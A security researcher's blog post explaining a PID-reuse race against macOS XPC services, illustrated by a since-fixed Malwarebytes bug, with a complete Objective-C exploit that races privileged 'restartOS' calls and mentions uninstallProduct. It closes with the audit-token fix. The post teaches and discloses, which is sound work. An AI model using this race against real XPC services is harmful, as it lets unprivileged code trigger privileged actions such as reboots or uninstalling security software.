XPC Exploitation series
Learn XPC exploitation - Part 1: Broken cryptography
Learn XPC exploitation - Part 2: Say no to the PID!
Learn XPC exploitation - Part 3: Code injections
Intro
Hey! In my last post, I showed you how weak SecRequirement string might lead to incoming connections validation issues. This post will focus on another way to trick XPC servers into trusting our malicious process. 😈 We’re going to exploit a vulnerability that I found some time ago in Malwarebytes. The bug is, of course, fixed.
Why PID is not reliable
In Don’t Trust the PID presentation Samuel Groß showed that another process could reuse PID. What does it mean for XPC services? Well, when you send a lot of messages to an XPC service, the messages are enqueued. It creates a time window between popping out the XPC message and the actual process validation. The screenshot from my talk may help you visualize the problem:
How may a process change its image and still have the same PID? It’s as easy as using an old posix_spawn
function with NULL value as a first parameter POSIX_SPAWN_SETEXEC
flag (thanks Csaba Fitzl for pointing this out). If you look at the function’s man page you will read that:
POSIX_SPAWNATTR_SETFL... BSD Library Functions Manual POSIX_SPAWNATTR_SETFL...
NAME
posix_spawnattr_setflags posix_spawnattr_getflags -- get or set flags on
a posix_spawnattr_t
SYNOPSIS
#include <spawn.h>
int
posix_spawnattr_setflags(posix_spawnattr_t *attr, short flags);
int
posix_spawnattr_getflags(const posix_spawnattr_t *restrict attr,
short *restrict flags);
DESCRIPTION
The posix_spawnattr_setflags() function sets the flags on the attributes
object referenced by attr.
The posix_spawnattr_getflags() function retrieves the flags on the
attributes object referenced by attr.
[...]
POSIX_SPAWN_SETEXEC Apple Extension: If this bit is set, rather
than returning to the caller, posix_spawn(2)
and posix_spawnp(2) will behave as a more
featureful execve(2).
[...]
So, the attack scenario is as follows:
- Create a process that forks a lot of times
- Each child has to send an XPC message to privileged Malwarebyte’s service
- … The XPC messages are being enqueued
- In the same time all the children use the
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)
function - … If you win the race, the action is performed by the XPC server
Spotting the bug
I recommend starting from loading the XPC service’s binary file to your favorite disassembler. NSXPCListenerDelegate
class implements the listener:shouldAcceptNewConnection:
method to verify incoming connections. Developers usually use that method to code the validation logic - it’s a good point to start from. In order to perform the signature check, a SecCode reference has to be created. To do so, usually, the SecCodeCopyGuestWithAttributes
function is used with the PID. The PID is taken from the incoming connection object via -[NSXPCConnection processIdentifier]
! In Malwarebytes I spotted the bug there:
That PID was passed to the +[MBCodeSignValidator publicKeyDataFrom:]
and then to the +[MBCodeSignValidator initCodeObjectFrom:]
.
Exploit
In the exploit, I abused the easiest reboot method that just reboots the machine. However, you may notice more interesting ones like uninstallProduct
😉 I based the code on CodeColorist’s exploit. Kudos!
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
Fix
The fix is straightforward - use the audit token
instead of process identifier
to create the SecCode references. The problem is that the audit token
is private property… I wrote an open-source example of a secure XPC helper with the solution for that. I’ve already spoken with a guy from Apple about the audit token
. They are working on it to make the token public. 👏🏻
Malwarebytes of course now use the token: